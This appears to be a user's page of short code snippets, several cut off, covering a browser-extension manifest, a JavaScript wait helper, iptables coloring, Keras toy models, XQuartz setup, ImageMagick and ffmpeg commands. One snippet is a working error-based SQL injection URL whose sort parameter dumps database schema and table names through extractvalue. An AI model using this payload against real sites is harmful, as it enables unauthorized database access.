kiki67100

{
  "content_scripts": [
    {
      "matches": ["http://*/*", "https://*/*"],
      "js": ["inject.js"],
      "all_frames": true
    }
  ],
  "web_accessible_resources": [
    "content.js"

kiki67100

    /*kiki67100 github 09/01/2023*/
    
    /*Waiting in javascript a html element perfect for scrapping and more easy to use than MutationObserver */
    let check_available_el = function (querySelector, debug = false, fn_on_not_found = null, max_tries = 1000, test_interval = 500) {
        return new Promise(function (resolve, reject) {
            let iterator_count = 0;
            let __interval = setInterval(function () {
                iterator_count++;
                if (iterator_count > max_tries) {
                    clearInterval(__interval);

kiki67100

## based on the blogpost here: http://blog.sjas.de/posts/colored-iptables-output.html

iptables --line-numbers -vnL |\
  sed -E 's/^Chain.*$/\x1b[4m&\x1b[0m/' |\
  sed -E 's/^num.*/\x1b[33m&\x1b[0m/' |\
  sed -E '/([^y] )((REJECT|DROP))/s//\1\x1b[31m\3\x1b[0m/' |\
  sed -E '/([^y] )(ACCEPT)/s//\1\x1b[32m\2\x1b[0m/' |\
  sed -E '/([ds]pt[s]?:)([[:digit:]]+(:[[:digit:]]+)?)/s//\1\x1b[33;1m\2\x1b[0m/' |\
  sed -E '/([[:digit:]]{1,3}\.){3}[[:digit:]]{1,3}(\/([[:digit:]]){1,3}){0,1}/s//\x1b[36;1m&\x1b[0m/g' |\
  sed -E '/([^n] )(LOGDROP)/s//\1\x1b[33;1m\2\x1b[0m/'|\

kiki67100

/*
This version is probably out of date, look at the dsci4-hacks ( Thanks to him x) )  instead: 

*** not tested ***   

https://github.com/dsci4-hacks/Delete-Teams-Messages/blob/main/delete_my_teams_messages.js

Thank you for all your contributions in comments

kiki67100

http://example.com/view_all_set.php?sort=id%2Cstatus%2Cseverity%2Cextractvalue%28null%2Cconcat%280x3a%2C%28SELECT%20group_concat%280x2D%2Ctable_schema%2C0x2E%2Ctable_name%2C0x2D%29%20FROM%20information_schema.tables%20WHERE%20table_schema%20%21%3D%200x6D7973716C%20AND%20table_schema%20%21%3D%200x696E666F726D6174696F6E5F736368656D61%29%2C0x3a%29%29%20--&dir=ASC,ASC,ASC&type=2

kiki67100

from keras.models import Sequential
from keras.layers.core import Dense, Dropout, Activation
from keras.optimizers import SGD
import numpy as np 

X = np.array([[0,0],[0,1],[1,0],[1,1]])
y = np.array([[0],[1],[1],[0]])

model = Sequential()
model.add(Dense(8, input_dim=2))

kiki67100

import numpy as np
from keras.models import Sequential
from keras.layers import Dense

# dataset 
trainX = np.array([1, 2 ,3 ,4 , 5 , 6 , 7,  8,  9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24])
trainY = np.array([3, 6, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72])

# create a model
model = Sequential()

kiki67100

### Script to install xquartz and set the DISPLAY variable correctly, find the listen port and add current ip to connect to X11.

#skip if you want, install xquartz
brew cask reinstall xquartz
#get ip 
IP=$(ifconfig|grep -E inet.*broad|awk '{ print $2; }')
#open XQuartz
open -a XQuartz &
#Go to preference Security check allow network, restart :
read -p "Go to preference Security check allow network and press a key to continue"

kiki67100

#Combine all images
convert  -verbose *.jpg -combine diff.png
#Using fuss

compare -verbose -fuzz 2%  photo-11-03-* diff.jpg


#Only show the difference 
compare -verbose *.jpg -compose src diff.png

kiki67100

#!/bin/bash

#Verify the quality with difference bitrate ( crf no work with h264_videotoolbox use -b:v ) 
#You can use the same audio codec change -c:a ac3 to -c:a copy i use it because it work my multimedia player
for bitrate in 500k 1000k 1500k 2500k 3000k 3500k;do 
   ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k  -y -b:v $bitrate -ss 00:01:00 -t 00:00:10 Movie_$bitrate.mp4;
done

#With 2500k bitrate 
ffmpeg -i Movie.mkv -c:v h264_videotoolbox -c:a ac3 -b:a 128k -y -b:v $bitrate -b:a 128k Movie_$bitrate.mp4;